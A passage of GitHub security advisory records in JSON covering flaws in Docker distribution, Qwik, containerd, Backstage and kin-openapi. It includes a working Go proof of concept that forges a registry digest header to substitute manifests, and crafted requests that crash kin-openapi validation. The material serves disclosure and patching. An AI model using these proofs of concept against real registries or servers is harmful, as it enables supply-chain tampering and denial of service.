Complexity"}],"credits":[{"user":{"login":"jake-ciolek","id":66125090,"node_id":"MDQ6VXNlcjY2MTI1MDkw","avatar_url":"https://avatars.githubusercontent.com/u/66125090?v=4","gravatar_id":"","url":"https://api.github.com/users/jake-ciolek","html_url":"/jake-ciolek","followers_url":"https://api.github.com/users/jake-ciolek/followers","following_url":"https://api.github.com/users/jake-ciolek/following{/other_user}","gists_url":"https://api.github.com/users/jake-ciolek/gists{/gist_id}","starred_url":"https://api.github.com/users/jake-ciolek/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jake-ciolek/subscriptions","organizations_url":"https://api.github.com/users/jake-ciolek/orgs","repos_url":"https://api.github.com/users/jake-ciolek/repos","events_url":"https://api.github.com/users/jake-ciolek/events{/privacy}","received_events_url":"https://api.github.com/users/jake-ciolek/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter"}],"comments":8,"cvss":{"vector_string":null,"score":null},"epss":{"percentage":0.00215,"percentile":0.10971}},{"ghsa_id":"GHSA-685w-q87j-wqw3","cve_id":"CVE-2026-85747","url":"https://api.github.com/advisories/GHSA-685w-q87j-wqw3","html_url":"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/advisories/GHSA-685w-q87j-wqw3","summary":"Distribution: Client `manifests.Get()` does not verify returned content against requested digest","description":"### Summary\n\n`registry/client.(*manifests).Get(ctx, dgst, …)` fetches a manifest by digest but never hashes the returned body and compares it against the requested digest. A malicious or compromised registry, or any MITM on the registry connection, can serve arbitrary manifest bytes in response to a digest-pinned request and the client returns the substituted content transparently to the caller. Any application relying on digest pinning for supply-chain integrity — image policy controllers, mirrors, pull-through caches — is silently undermined. The bundled pull-through proxy (`registry/proxy/proxymanifeststore.go`) is itself an unguarded consumer and is directly exploitable.\n\n### Details\n\n**Root cause:** `registry/client/repository.go:488-505` reads the response body and passes it directly to `distribution.UnmarshalManifest` without ever computing `digest.FromBytes(body)` and comparing against the caller-supplied `dgst`. The `Docker-Content-Digest` response header is parsed (lines 251-292 in `descriptorFromResponse`) only to populate an out-parameter (`ReturnContentDigest`) and is itself server-supplied — it is never recomputed from the body, so a lying server can set it to whatever value the caller requested while delivering different bytes.\n\n**Attack path:** An attacker who controls the registry endpoint (malicious registry, compromised upstream, DNS hijack, or TLS MITM) responds to `GET /v2/{name}/manifests/{digest}` with:\n1. `Docker-Content-Digest: <requested-digest>` (forged header)\n2. A body containing a different, attacker-chosen manifest\n\nThe client calls `distribution.UnmarshalManifest` on the substituted body, returns the attacker's manifest as if it were the pinned content, and the caller has no way to detect the substitution.\n\n**Why it matters:** The entire value of digest pinning is to guarantee content-addressable integrity against exactly this threat model (hostile or MITM server). The `registry/proxy/proxymanifeststore.go:42-87` pull-through cache calls `remoteManifests.Get(ctx, dgst)` and immediately writes the result to local storage with no re-verification — so a poisoned remote can permanently inject a bad manifest into the mirror cache, affecting all subsequent consumers.\n\nRelevant code path (`repository.go`, simplified):\n```go\n// line ~496\nfunc (ms *manifests) Get(ctx context.Context, dgst digest.Digest, options ...distribution.ManifestServiceOption) (distribution.Manifest, error) {\n    ...\n    resp, err := ms.client.Get(u)\n    ...\n    body, err := ioutil.ReadAll(resp.Body)  // no size limit, no digest check\n    ...\n    m, _, err := distribution.UnmarshalManifest(ct, body)  // returns attacker bytes\n    return m, err\n}\n```\n\n### PoC\n\n**go.mod:**\n```\nmodule poc\n\ngo 1.24.10\n\nrequire (\n        github.com/distribution/reference v0.6.0\n        github.com/docker/distribution v2.8.3+incompatible\n        github.com/opencontainers/go-digest v1.0.0\n)\n\nrequire (\n        github.com/beorn7/perks v1.0.1 // indirect\n        github.com/docker/go-metrics v0.0.1 // indirect\n        github.com/docker/libtrust v0.0.0-20160708172513-aabc10ec26b7 // indirect\n        github.com/golang/protobuf v1.3.2 // indirect\n        github.com/gorilla/mux v1.8.1 // indirect\n        github.com/matttproud/golang_protobuf_extensions v1.0.1 // indirect\n        github.com/opencontainers/image-spec v1.1.1 // indirect\n        github.com/prometheus/client_golang v1.1.0 // indirect\n        github.com/prometheus/client_model v0.0.0-20190129233127-fd36f4220a90 // indirect\n        github.com/prometheus/common v0.6.0 // indirect\n        github.com/prometheus/procfs v0.0.3 // indirect\n        github.com/sirupsen/logrus v1.9.4 // indirect\n        golang.org/x/sys v0.13.0 // indirect\n)\n```\n\n**main.go:**\n```go\n// PoC: registry/client manifests.Get() does not verify the requested digest\n// against the returned body. A malicious registry (or MITM) can serve\n// arbitrary content for a digest-pinned manifest reference and the client\n// will accept it.\npackage main\n\nimport (\n        \"context\"\n        \"fmt\"\n        \"net/http\"\n        \"net/http/httptest\"\n\n        \"github.com/distribution/reference\"\n        \"github.com/docker/distribution/manifest/schema2\"\n        \"github.com/docker/distribution/registry/client\"\n        \"github.com/opencontainers/go-digest\"\n)\n\n// A real, \"trusted\" manifest the user pinned by digest.\nvar trustedManifest = []byte(`{\n   \"schemaVersion\": 2,\n   \"mediaType\": \"application/vnd.docker.distribution.manifest.v2+json\",\n   \"config\": {\"mediaType\": \"application/vnd.docker.container.image.v1+json\",\"size\": 1,\"digest\": \"sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"},\n   \"layers\": []\n}`)\n\n// A different, attacker-controlled manifest the malicious server returns instead.\nvar evilManifest = []byte(`{\n   \"schemaVersion\": 2,\n   \"mediaType\": \"application/vnd.docker.distribution.manifest.v2+json\",\n   \"config\": {\"mediaType\": \"application/vnd.docker.container.image.v1+json\",\"size\": 1,\"digest\": \"sha256:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee\"},\n   \"layers\": []\n}`)\n\nfunc main() {\n        pinnedDigest := digest.FromBytes(trustedManifest)\n        evilDigest := digest.FromBytes(evilManifest)\n        fmt.Println(\"client requests manifest pinned at:\", pinnedDigest)\n        fmt.Println(\"server will instead return content :\", evilDigest)\n\n        srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n                // Lie: claim the digest matches what was asked, but serve evil bytes.\n                w.Header().Set(\"Content-Type\", schema2.MediaTypeManifest)\n                w.Header().Set(\"Docker-Content-Digest\", pinnedDigest.String())\n                w.WriteHeader(200)\n                w.Write(evilManifest)\n        }))\n        defer srv.Close()\n\n        name, _ := reference.WithName(\"library/alpine\")\n        repo, err := client.NewRepository(name, srv.URL, http.DefaultTransport)\n        if err != nil {\n                panic(err)\n        }\n        ms, _ := repo.Manifests(context.Background())\n\n        // Fetch by *digest* — caller expects content-addressed integrity.\n        m, err := ms.Get(context.Background(), pinnedDigest)\n        if err != nil {\n                fmt.Println(\"Get error:\", err)\n                return\n        }\n        _, payload, _ := m.Payload()\n        got := digest.FromBytes(payload)\n\n        if got != pinnedDigest {\n                fmt.Println()\n                fmt.Println(\">>> BYPASS: client accepted manifest that does NOT match requested digest\")\n                fmt.Println(\"    requested:\", pinnedDigest)\n                fmt.Println(\"    received :\", got)\n        } else {\n                fmt.Println(\"OK: digest verified\")\n        }\n}\n```\n\n**Output (v2.8.3+incompatible):**\n```\nclient requests manifest pinned at: sha256:224a436131519692201bd7adb1ab9f9cd95ce26ed21ec70e49972dfd222726de\nserver will instead return content : sha256:a44b526191ae3f0aa16022abcb7fc1103c23534682c39a2dbe18a5a52fc5002e\n\n>>> BYPASS: client accepted manifest that does NOT match requested digest\n    requested: sha256:224a436131519692201bd7adb1ab9f9cd95ce26ed21ec70e49972dfd222726de\n    received : sha256:a44b526191ae3f0aa16022abcb7fc1103c23534682c39a2dbe18a5a52fc5002e\n```\n\n### Impact\n\nAny application that calls `registry/client.(*manifests).Get()` with a digest argument — and relies on that digest to guarantee which image content it receives — is affected. This includes image policy controllers that enforce allowed digests, pull-through cache/mirror implementations (including the bundled `registry/proxy`), and any CI/CD tooling that pins images by digest for reproducibility or security.\n\nAn attacker who controls or can MITM the registry endpoint can substitute arbitrary manifest content — changing image layers, entrypoints, or referenced blobs — and the client will accept and act on the substituted content without warning. The bundled pull-through proxy will cache and re-serve the poisoned manifest to all downstream clients.\n\nExploitation requires either control of the registry endpoint the victim is configured to use, or a MITM/TLS-breaking position on that connection. No authentication is needed beyond whatever the registry normally requires.","type":"reviewed","severity":"medium","repository_advisory_url":"https://api.github.com/repos/distribution/distribution/security-advisories/GHSA-685w-q87j-wqw3","source_code_location":"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/distribution/distribution","identifiers":[{"value":"GHSA-685w-q87j-wqw3","type":"GHSA"},{"value":"CVE-2026-85747","type":"CVE"}],"references":["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/distribution/distribution/security/advisories/GHSA-685w-q87j-wqw3","https://nvd.nist.gov/vuln/detail/CVE-2026-85747","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/distribution/distribution/commit/8f91c26c8888a95a36c2357a6e30bc15d4dd76d3","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/distribution/distribution/commit/960439b09f342cdeb8f1c0e18e8c7349bdcfbf80","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/distribution/distribution/releases/tag/v3.1.2","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/advisories/GHSA-685w-q87j-wqw3"],"published_at":"2026-10-15T20:22:02Z","updated_at":"2026-10-15T20:22:03Z","github_reviewed_at":"2026-10-15T20:22:02Z","nvd_published_at":"2026-10-13T19:21:02Z","withdrawn_at":null,"vulnerabilities":[{"package":{"ecosystem":"go","name":"github.com/docker/distribution"},"vulnerable_version_range":"<= 2.8.3","first_patched_version":null,"vulnerable_functions":[]},{"package":{"ecosystem":"go","name":"github.com/distribution/distribution/v3"},"vulnerable_version_range":"< 3.1.2","first_patched_version":"3.1.2","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:H/A:N","score":6.8},"cvss_v4":{"vector_string":null,"score":0.0}},"cwes":[{"cwe_id":"CWE-354","name":"Improper Validation of Integrity Check Value"}],"credits":[{"user":{"login":"KrisKennawayDD","id":95245117,"node_id":"U_kgDOBa1TPQ","avatar_url":"https://avatars.githubusercontent.com/u/95245117?v=4","gravatar_id":"","url":"https://api.github.com/users/KrisKennawayDD","html_url":"/KrisKennawayDD","followers_url":"https://api.github.com/users/KrisKennawayDD/followers","following_url":"https://api.github.com/users/KrisKennawayDD/following{/other_user}","gists_url":"https://api.github.com/users/KrisKennawayDD/gists{/gist_id}","starred_url":"https://api.github.com/users/KrisKennawayDD/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/KrisKennawayDD/subscriptions","organizations_url":"https://api.github.com/users/KrisKennawayDD/orgs","repos_url":"https://api.github.com/users/KrisKennawayDD/repos","events_url":"https://api.github.com/users/KrisKennawayDD/events{/privacy}","received_events_url":"https://api.github.com/users/KrisKennawayDD/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter"}],"comments":4,"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:H/A:N","score":6.8},"epss":{"percentage":0.00209,"percentile":0.10311}},{"ghsa_id":"GHSA-x586-xvc8-g7q6","cve_id":"CVE-2026-84994","url":"https://api.github.com/advisories/GHSA-x586-xvc8-g7q6","html_url":"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/advisories/GHSA-x586-xvc8-g7q6","summary":"Qwik: Crashing any Qwik Server via Resource thenable","description":"### Summary\n\nA Qwik server in the default configuration can be crashed with one unauthenticated HTTP request. During qwik-json body parsing, `ResourceSerializer.$fill$` does `Promise.resolve(resource._resolved)`. If `_resolved` is a plain object whose `.then` is a QRL for an unregistered symbol, the async QRL rejects, the rejection is orphaned, and Node terminates the process via its default unhandled-rejection policy.\n\n### Impact\n\nOne unauthenticated request crashes the server. Looping keeps every replica dead as long as the attacker sends requests.","type":"reviewed","severity":"high","repository_advisory_url":"https://api.github.com/repos/QwikDev/qwik/security-advisories/GHSA-x586-xvc8-g7q6","source_code_location":"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/QwikDev/qwik","identifiers":[{"value":"GHSA-x586-xvc8-g7q6","type":"GHSA"},{"value":"CVE-2026-84994","type":"CVE"}],"references":["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/QwikDev/qwik/security/advisories/GHSA-x586-xvc8-g7q6","https://nvd.nist.gov/vuln/detail/CVE-2026-84994","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/QwikDev/qwik/pull/8655","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/QwikDev/qwik/commit/c1e7444402f9592b5cf9096e10bf303ab4640511","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/QwikDev/qwik/releases/tag/@builder.io/qwik@1.20.0","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/advisories/GHSA-x586-xvc8-g7q6"],"published_at":"2026-10-15T20:22:00Z","updated_at":"2026-10-15T20:22:02Z","github_reviewed_at":"2026-10-15T20:22:00Z","nvd_published_at":"2026-10-13T19:20:52Z","withdrawn_at":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"@builder.io/qwik"},"vulnerable_version_range":"< 1.20.0","first_patched_version":"1.20.0","vulnerable_functions":[]},{"package":{"ecosystem":"npm","name":"@qwik.dev/core"},"vulnerable_version_range":"< 2.0.0-beta37","first_patched_version":"2.0.0-beta37","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":null,"score":0.0},"cvss_v4":{"vector_string":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","score":8.7}},"cwes":[{"cwe_id":"CWE-248","name":"Uncaught Exception"}],"credits":[{"user":{"login":"simonkoeck","id":54739715,"node_id":"MDQ6VXNlcjU0NzM5NzE1","avatar_url":"https://avatars.githubusercontent.com/u/54739715?v=4","gravatar_id":"","url":"https://api.github.com/users/simonkoeck","html_url":"/simonkoeck","followers_url":"https://api.github.com/users/simonkoeck/followers","following_url":"https://api.github.com/users/simonkoeck/following{/other_user}","gists_url":"https://api.github.com/users/simonkoeck/gists{/gist_id}","starred_url":"https://api.github.com/users/simonkoeck/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/simonkoeck/subscriptions","organizations_url":"https://api.github.com/users/simonkoeck/orgs","repos_url":"https://api.github.com/users/simonkoeck/repos","events_url":"https://api.github.com/users/simonkoeck/events{/privacy}","received_events_url":"https://api.github.com/users/simonkoeck/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter"}],"comments":5,"cvss":{"vector_string":null,"score":null},"epss":{"percentage":0.00524,"percentile":0.43013}},{"ghsa_id":"GHSA-p7v4-vr35-mj6f","cve_id":"CVE-2026-95837","url":"https://api.github.com/advisories/GHSA-p7v4-vr35-mj6f","html_url":"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/advisories/GHSA-p7v4-vr35-mj6f","summary":"containerd CRI plugin: Checkpoint restore bypasses destination security context","description":"### Impact\n\nA vulnerability in containerd's CRI implementation allows a container restored from an untrusted checkpoint via the `CreateContainer` API to bypass the destination security context and execute with elevated privileges. When restoring a container from a checkpoint archive or annotated OCI image, CRIU restores process credentials, Linux capabilities, `no_new_privs`, and seccomp state directly from checkpoint data rather than enforcing the destination CRI `ContainerConfig`. An attacker who can run a container with a crafted checkpoint image can execute processes as root with full capabilities and no enforced seccomp filters despite restrictive security policies requested by the orchestrator. Additionally, containerd's CRI status reporting reflects the requested configuration rather than the actual restored process state, masking the privilege discrepancy from orchestrators. This issue affects Linux systems running containerd with CRI checkpoint restore enabled; users not utilizing CRI checkpoint restore are not affected.\n\n### Patches\n\nThis bug has been addressed in containerd 2.2.7 and 2.3.4 by disabling checkpoint restore via `CreateContainer` by default.  The feature has been removed entirely in containerd 2.4.0. Users should update to these versions to resolve the issue. Running containers that were restored from untrusted checkpoints should be stopped, deleted, and recreated.\n\nUsers who rely on restore via the `CreateContainer` API can re-enable the feature by setting the new `enable_experimental_restore_via_create` configuration option. However, enabling restore via `CreateContainer` leaves this vulnerability present, as containerd cannot enforce destination security policy during CRIU process restoration. \n\n### Workarounds\n\nOn unpatched versions, containerd does not provide a configuration option to disable checkpoint restore via `CreateContainer`. Deployments should restrict container creation permissions to trusted users, validate container image registries, or use admission controllers to reject images containing checkpoint data.\n\n### References\n\n* [CRIU image security](https://checkpoint-restore.github.io/criu/security/image-security.html)\n\n### Credits\n\nThe containerd project would like to thank @l2yyd5 and @berkpolatCE for responsibly disclosing this issue in accordance with the [containerd security policy](https://github.com/containerd/project/blob/main/SECURITY.md).\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n* Open an issue in [containerd](https://github.com/containerd/containerd/issues/new/choose)\n* Email us at [security@containerd.io](mailto:security@containerd.io)\n\nTo report a security issue in containerd:\n* [Report a new vulnerability](https://github.com/containerd/containerd/security/advisories/new)\n* Email us at [security@containerd.io](mailto:security@containerd.io)","type":"reviewed","severity":"high","repository_advisory_url":"https://api.github.com/repos/containerd/containerd/security-advisories/GHSA-p7v4-vr35-mj6f","source_code_location":"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/containerd/containerd","identifiers":[{"value":"GHSA-p7v4-vr35-mj6f","type":"GHSA"},{"value":"CVE-2026-95837","type":"CVE"}],"references":["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/containerd/containerd/security/advisories/GHSA-p7v4-vr35-mj6f","https://nvd.nist.gov/vuln/detail/CVE-2026-95837","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/containerd/containerd/pull/13913","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/containerd/containerd/commit/928c03c6898cad95f795300281fdff0dbc55a32f","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/advisories/GHSA-p7v4-vr35-mj6f"],"published_at":"2026-10-15T20:21:57Z","updated_at":"2026-10-15T20:21:58Z","github_reviewed_at":"2026-10-15T20:21:57Z","nvd_published_at":"2026-10-12T20:17:10Z","withdrawn_at":null,"vulnerabilities":[{"package":{"ecosystem":"go","name":"github.com/containerd/containerd/v2"},"vulnerable_version_range":">= 2.1.0, < 2.2.7","first_patched_version":"2.2.7","vulnerable_functions":[]},{"package":{"ecosystem":"go","name":"github.com/containerd/containerd/v2"},"vulnerable_version_range":">= 2.3.0, < 2.3.4","first_patched_version":"2.3.4","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":7.8},"cvss_v4":{"vector_string":null,"score":0.0}},"cwes":[{"cwe_id":"CWE-269","name":"Improper Privilege Management"}],"credits":[{"user":{"login":"l2yyd5","id":56690207,"node_id":"MDQ6VXNlcjU2NjkwMjA3","avatar_url":"https://avatars.githubusercontent.com/u/56690207?v=4","gravatar_id":"","url":"https://api.github.com/users/l2yyd5","html_url":"/l2yyd5","followers_url":"https://api.github.com/users/l2yyd5/followers","following_url":"https://api.github.com/users/l2yyd5/following{/other_user}","gists_url":"https://api.github.com/users/l2yyd5/gists{/gist_id}","starred_url":"https://api.github.com/users/l2yyd5/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/l2yyd5/subscriptions","organizations_url":"https://api.github.com/users/l2yyd5/orgs","repos_url":"https://api.github.com/users/l2yyd5/repos","events_url":"https://api.github.com/users/l2yyd5/events{/privacy}","received_events_url":"https://api.github.com/users/l2yyd5/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter"}],"comments":20,"cvss":{"vector_string":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":7.8},"epss":{"percentage":0.00106,"percentile":0.01033}},{"ghsa_id":"GHSA-3xr5-8w6c-p5gw","cve_id":"CVE-2026-106495","url":"https://api.github.com/advisories/GHSA-3xr5-8w6c-p5gw","html_url":"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/advisories/GHSA-3xr5-8w6c-p5gw","summary":"Backstage: Improper access control in backend action invocation","description":"### Impact\n\nAn authenticated user could invoke actions that an operator had excluded through action configuration. Existing action permissions and downstream authorization remain enforced.\n\n### Patches\n\nPatched in `@backstage/backend-defaults` version `0.17.8`\n\n### Workarounds\n\nLimit access to action invocation endpoints to trusted service callers until upgrading.","type":"reviewed","severity":"medium","repository_advisory_url":"https://api.github.com/repos/backstage/backstage/security-advisories/GHSA-3xr5-8w6c-p5gw","source_code_location":"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/backstage/backstage","identifiers":[{"value":"GHSA-3xr5-8w6c-p5gw","type":"GHSA"},{"value":"CVE-2026-106495","type":"CVE"}],"references":["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/backstage/backstage/security/advisories/GHSA-3xr5-8w6c-p5gw","https://nvd.nist.gov/vuln/detail/CVE-2026-106495","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/backstage/backstage/commit/a8fb34a990a69bcb745e85a3213cf9e5ba2d31a3","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/backstage/backstage/releases/tag/v1.54.6","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/advisories/GHSA-3xr5-8w6c-p5gw"],"published_at":"2026-10-15T20:21:54Z","updated_at":"2026-10-15T20:21:56Z","github_reviewed_at":"2026-10-15T20:21:54Z","nvd_published_at":"2026-10-12T21:17:08Z","withdrawn_at":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"@backstage/backend-defaults"},"vulnerable_version_range":"< 0.17.8","first_patched_version":"0.17.8","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N","score":4.3},"cvss_v4":{"vector_string":null,"score":0.0}},"cwes":[{"cwe_id":"CWE-284","name":"Improper Access Control"}],"credits":[],"comments":1,"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N","score":4.3},"epss":{"percentage":0.00238,"percentile":0.13773}},{"ghsa_id":"GHSA-vrcc-3ch7-hppw","cve_id":"CVE-2026-100353","url":"https://api.github.com/advisories/GHSA-vrcc-3ch7-hppw","html_url":"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/advisories/GHSA-vrcc-3ch7-hppw","summary":"kin-openapi: Incomplete Fix for GHSA-p6wj-qrr4-pgh5: Three Unpatched nil-Items Panic Paths in openapi3filter","description":"## Summary\n\nThe fix for GHSA-p6wj-qrr4-pgh5 addressed a nil-pointer dereference that occurs when an OpenAPI 3.1 array schema omits the `items` keyword (which is legal under JSON Schema 2020-12). That fix patched three decoder paths: the standalone `parseArray` function, the top-level array check in `UrlencodedBodyDecoder`, and `MultipartBodyDecoder`.\n\nThree additional crash paths were missed. All of them reach the unguarded `urlValuesDecoder.parseArray` method (`openapi3filter/req_resp_decoder.go:576`) or the unguarded array branch in `buildResObj` (line 1015):\n\n1. **Query parameters** with `type: array` and no `items`.\n2. **deepObject** query parameters containing an array property with no `items`.\n3. **URL-encoded request bodies** where the array lives inside an `allOf` / `anyOf` / `oneOf` sub-schema. This path bypasses the guard added by the GHSA-p6wj-qrr4-pgh5 fix, because that guard only inspects top-level properties.\n\nEach path is triggerable by an unauthenticated client and produces a deterministic nil-pointer panic during request validation.\n\n## Details\n### Root Cause\n\nThe three paths patched for GHSA-p6wj-qrr4-pgh5 each received a nil-`items` guard:\n\n```go\n// standalone parseArray (line 1143) -- GUARDED\nfunc parseArray(raw []string, schemaRef *openapi3.SchemaRef) ([]any, error) {\n\tif schemaRef.Value.Items == nil || schemaRef.Value.Items.Value == nil { ... }\n\n// UrlencodedBodyDecoder top-level property loop (line 1441) -- GUARDED\nif propSchema.Value.Items == nil || propSchema.Value.Items.Value == nil { ... }\n\n// MultipartBodyDecoder (line 1587) -- GUARDED\nif valueSchema.Value.Items == nil { ... }\n```\n\nBut `urlValuesDecoder.parseArray` (line 576), which handles query-parameter and urlencoded-body array decoding, has **no** such guard:\n\n```go\nfunc (d *urlValuesDecoder) parseArray(raw []string, schemaRef *openapi3.SchemaRef) ([]any, error) {\n\tvar value []any\n\tfor i, v := range raw {\n\t\titem, err := d.parseValue(v, schemaRef.Value.Items) // Items is nil -> panic in parseValue\n```\n\n`parseValue` immediately dereferences the schema it is handed:\n\n```go\nfunc (d *urlValuesDecoder) parseValue(v string, schema *openapi3.SchemaRef) (any, error) {\n\tif len(schema.Value.AllOf) > 0 {   // schema == nil here -> nil pointer dereference\n```\n\nFor the deepObject path, `buildResObj` (line 1015) has the same gap. Its array branch recurses with `schema.Value.Items` (line 1028), which can be nil, and the recursive call dereferences it at line 1015:\n\n```go\ncase schema.Value.Type.Is(\"array\"):\n\t// ...\n\tfor i := range arr {\n\t\tr, err := buildResObj(params, mapKeys, strconv.Itoa(i), schema.Value.Items) // nil Items\n```\n\nFor the allOf body path, `UrlencodedBodyDecoder` validates only top-level `schema.Value.Properties` (line 1429-1449). But `decodeSchemaConstructs` (line 1474) recursively walks `AllOf` / `AnyOf` / `OneOf` sub-schemas and calls `decodeProperty` on their properties, which never pass through the top-level guard and reach `urlValuesDecoder.parseArray`.\n\n## Proof of Concept\n\n### Environment\n\n- kin-openapi v0.144.0 (cloned at tag `v0.144.0`, commit `f0407d5`)\n- Go 1.26.7\n- Each PoC calls `doc.Validate()` first to prove the spec is legal, then drives `openapi3filter.ValidateRequest` directly\n\n### Path 1: Query parameter array without items\n\nSpec (query param `ids` is `type: array`, no `items`), request `GET /test?ids=1&ids=2`:\n\n```\nValidate() ACCEPTED the spec (type: array with no items is legal under OAS 3.1)\nCalling ValidateRequest directly (no net/http recover)...\npanic: runtime error: invalid memory address or nil pointer dereference\n[signal 0xc0000005 code=0x0 addr=0x20 ...]\ngithub.com/getkin/kin-openapi/openapi3filter.(*urlValuesDecoder).parseValue(...)\n\treq_resp_decoder.go:605\ngithub.com/getkin/kin-openapi/openapi3filter.(*urlValuesDecoder).parseArray(...)\n\treq_resp_decoder.go:580\ngithub.com/getkin/kin-openapi/openapi3filter.(*urlValuesDecoder).DecodeArray(...)\n\treq_resp_decoder.go:569\n...\ngithub.com/getkin/kin-openapi/openapi3filter.ValidateRequest(...)\n\tvalidate_request.go:83\nexit status 2\n```\n\n### Path 2: deepObject nested array without items\n\nSpec (deepObject param `filter` with array property `tags`, no `items`), request `GET /test?filter[tags][0]=a`:\n\n```\nValidate() ACCEPTED the spec\nCalling ValidateRequest directly...\npanic: runtime error: invalid memory address or nil pointer dereference\ngithub.com/getkin/kin-openapi/openapi3filter.buildResObj(...)\n\treq_resp_decoder.go:1012\ngithub.com/getkin/kin-openapi/openapi3filter.buildResObj(...)   <- recursive call with nil Items\n\treq_resp_decoder.go:1028\ngithub.com/getkin/kin-openapi/openapi3filter.makeObject(...)\n\treq_resp_decoder.go:947\n...\nexit status 2\n```\n\n### Path 3: URL-encoded body with array inside allOf (bypasses the existing fix)\n\nSpec (urlencoded body, `allOf` sub-schema with array property `tags`, no `items`), request `POST /submit` body `tags=a&tags=b`:\n\n```\nValidate() ACCEPTED the spec\nCalling ValidateRequest directly...\npanic: runtime error: invalid memory address or nil pointer dereference\ngithub.com/getkin/kin-openapi/openapi3filter.(*urlValuesDecoder).parseValue(...)\n\treq_resp_decoder.go:605\ngithub.com/getkin/kin-openapi/openapi3filter.(*urlValuesDecoder).parseArray(...)\n\treq_resp_decoder.go:580\ngithub.com/getkin/kin-openapi/openapi3filter.(*urlValuesDecoder).DecodeArray(...)\n\treq_resp_decoder.go:569\n...\ngithub.com/getkin/kin-openapi/openapi3filter.decodeProperty(...)   <- reached via decodeSchemaConstructs (allOf walker)\n\treq_resp_decoder.go:1519\nexit status 2\n```\n\nThe `decodeProperty` frame confirms the array was reached by walking the `allOf` sub-schema, bypassing the top-level guard that the GHSA-p6wj-qrr4-pgh5 fix added.\n\n### Fix verification\n\nAdding a single nil-`items` guard to `urlValuesDecoder.parseArray` (plus one to the `buildResObj` array branch) turns all three panics into clean validation errors:\n\n```\npoc1: Returned normally, err = parameter \"ids\" in query has an error: array items schema is required for decoding\npoc2: Returned normally, err = parameter \"filter\" in query has an error: path tags: array items schema is required\npoc3: Returned normally, err = <nil>   (no panic; the allOf property is skipped by the decoder)\n```\n\nThis confirms `urlValuesDecoder.parseArray` is the shared root cause for Paths 1 and 3, and `buildResObj` for Path 2.\n\n## Impact\n\nAn unauthenticated client can trigger a deterministic nil-pointer panic in request validation with a single crafted request, against any application that validates OAS 3.1 requests with `openapi3filter` where a spec declares an array without `items`.\n\nThe severity depends on the host:\n\n| Deployment | Behavior | Availability impact |\n|------------|----------|---------------------|\n| Standard `net/http` server (validation runs in the handler goroutine) | `net/http` recovers the panic per-connection; the connection is dropped and the process survives | Per-request denial of service (A:L) |\n| Non-`net/http` hosts (e.g. fasthttp/connect adapters) or validation performed in an application-spawned goroutine | The panic is not recovered; the process crashes | Full-process denial of service (A:H) |\n\nThis was verified in both configurations: under a live `net/http` server the process survived (the panic was logged as `http: panic serving ...` and the process exited 0 at end of test), while the direct-call PoCs above crashed the process with `exit status 